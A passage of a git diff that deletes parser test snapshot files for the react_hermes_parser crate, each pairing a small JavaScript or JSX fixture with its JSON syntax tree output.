+++ /dev/null
@@ -1,481 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/logical-expression.js
----
-Input:
-function component(props) {
-  let a = props.a || (props.b && props.c && props.d);
-  let b = (props.a && props.b && props.c) || props.d;
-  return a ? b : props.c;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        38,
-                        43
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        44,
-                        45
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      38,
-                      45
-                    ]
-                  },
-                  "right": {
-                    "type": "LogicalExpression",
-                    "operator": "&&",
-                    "left": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            50,
-                            55
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            56,
-                            57
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          50,
-                          57
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            61,
-                            66
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            67,
-                            68
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          61,
-                          68
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        50,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          72,
-                          77
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "d",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        72,
-                        79
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      50,
-                      79
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    38,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              81
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "init": {
-                  "type": "LogicalExpression",
-                  "operator": "||",
-                  "left": {
-                    "type": "LogicalExpression",
-                    "operator": "&&",
-                    "left": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            93,
-                            98
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            99,
-                            100
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          93,
-                          100
-                        ]
-                      },
-                      "right": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            104,
-                            109
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            110,
-                            111
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          104,
-                          111
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        93,
-                        111
-                      ]
-                    },
-                    "right": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          115,
-                          120
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          121,
-                          122
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        115,
-                        122
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      122
-                    ]
-                  },
-                  "right": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        127,
-                        132
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        133,
-                        134
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      127,
-                      134
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    92,
-                    134
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  88,
-                  134
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              84,
-              135
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ConditionalExpression",
-              "test": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  145,
-                  146
-                ]
-              },
-              "alternate": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    153,
-                    158
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    159,
-                    160
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  153,
-                  160
-                ]
-              },
-              "consequent": {
-                "type": "Identifier",
-                "name": "b",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  149,
-                  150
-                ]
-              },
-              "loc": null,
-              "range": [
-                145,
-                160
-              ]
-            },
-            "loc": null,
-            "range": [
-              138,
-              161
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          163
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        163
-      ],
-      "loc": null,
-      "range": [
-        0,
-        163
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    163
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-computed.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-computed.js.snap
deleted file mode 100644
index cc6d08f8ee33..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-computed.js.snap
+++ /dev/null
@@ -1,454 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/method-call-computed.js
----
-Input:
-function foo(a, b, c) {
-  // Construct and freeze x, y
-  const x = makeObject(a);
-  const y = makeObject(a);
-  <div>
-    {x}
-    {y}
-  </div>;
-
-  // z should depend on `x`, `y.method`, and `b`
-  const z = x[y.method](b);
-  return z;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      67,
-                      77
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    67,
-                    80
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  63,
-                  80
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              57,
-              81
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    90,
-                    91
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      94,
-                      104
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        105,
-                        106
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    94,
-                    107
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  90,
-                  107
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              84,
-              108
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    112,
-                    115
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  111,
-                  116
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    116,
-                    121
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      122,
-                      123
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    121,
-                    124
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    124,
-                    129
-                  ]
-                },
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      130,
-                      131
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    129,
-                    132
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n  ",
-                  "raw": "\n  ",
-                  "loc": null,
-                  "range": [
-                    132,
-                    135
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    137,
-                    140
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  135,
-                  141
-                ]
-              },
-              "loc": null,
-              "range": [
-                111,
-                141
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              111,
-              142
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    201,
-                    202
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        205,
-                        206
-                      ]
-                    },
-                    "property": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          207,
-                          208
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "method",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          209,
-                          215
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        207,
-                        215
-                      ]
-                    },
-                    "computed": true,
-                    "loc": null,
-                    "range": [
-                      205,
-                      216
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        217,
-                        218
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    205,
-                    219
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  201,
-                  219
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              195,
-              220
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "z",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                230,
-                231
-              ]
-            },
-            "loc": null,
-            "range": [
-              223,
-              232
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          234
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        234
-      ],
-      "loc": null,
-      "range": [
-        0,
-        234
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    234
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-fn-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-fn-call.js.snap
deleted file mode 100644
index a1399988a9da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call-fn-call.js.snap
+++ /dev/null
@@ -1,393 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/method-call-fn-call.js
----
-Input:
-function foo(a, b, c) {
-  // Construct and freeze x
-  const x = makeObject(a);
-  <div>{x}</div>;
-
-  // y should depend on `x` and `b`
-  const method = x.method;
-  const y = method.call(x, b);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      64,
-                      74
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        76
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    64,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              54,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    82,
-                    85
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  81,
-                  86
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      87,
-                      88
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    86,
-                    89
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    91,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              },
-              "loc": null,
-              "range": [
-                81,
-                95
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "method",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    148
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      151,
-                      152
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "method",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      153,
-                      159
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    151,
-                    159
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  142,
-                  159
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              136,
-              160
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    169,
-                    170
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "method",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        173,
-                        179
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "call",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        180,
-                        184
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      173,
-                      184
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        185,
-                        186
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        188,
-                        189
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    173,
-                    190
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  169,
-                  190
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              163,
-              191
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                201,
-                202
-              ]
-            },
-            "loc": null,
-            "range": [
-              194,
-              203
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          205
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        205
-      ],
-      "loc": null,
-      "range": [
-        0,
-        205
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    205
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call.js.snap
deleted file mode 100644
index 8294f81be9af..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@method-call.js.snap
+++ /dev/null
@@ -1,324 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/method-call.js
----
-Input:
-function foo(a, b, c) {
-  // Construct and freeze x
-  const x = makeObject(a);
-  <div>{x}</div>;
-
-  // y should depend on `x` and `b`
-  const y = x.foo(b);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    60,
-                    61
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      64,
-                      74
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        75,
-                        76
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    64,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              54,
-              78
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    82,
-                    85
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  81,
-                  86
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      87,
-                      88
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    86,
-                    89
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    91,
-                    94
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  89,
-                  95
-                ]
-              },
-              "loc": null,
-              "range": [
-                81,
-                95
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              81,
-              96
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    142,
-                    143
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        146,
-                        147
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "foo",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        148,
-                        151
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      146,
-                      151
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        152,
-                        153
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    146,
-                    154
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  142,
-                  154
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              136,
-              155
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                165,
-                166
-              ]
-            },
-            "loc": null,
-            "range": [
-              158,
-              167
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          169
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        169
-      ],
-      "loc": null,
-      "range": [
-        0,
-        169
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    169
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-export-gating-test.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-export-gating-test.js.snap
deleted file mode 100644
index 8226c25b951f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@multi-arrow-expr-export-gating-test.js.snap
+++ /dev/null
@@ -1,412 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-export-gating-test.js
----
-Input:
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "const",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "ErrorView",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              17,
-              26
-            ]
-          },
-          "init": {
-            "type": "ArrowFunctionExpression",
-            "id": null,
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "error",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  30,
-                  35
-                ]
-              },
-              {
-                "type": "Identifier",
-                "name": "_retry",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  37,
-                  43
-                ]
-              }
-            ],
-            "body": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "MessageBox",
-                  "loc": null,
-                  "range": [
-                    49,
-                    59
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "error",
-                      "loc": null,
-                      "range": [
-                        60,
-                        65
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "error",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          72
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        66,
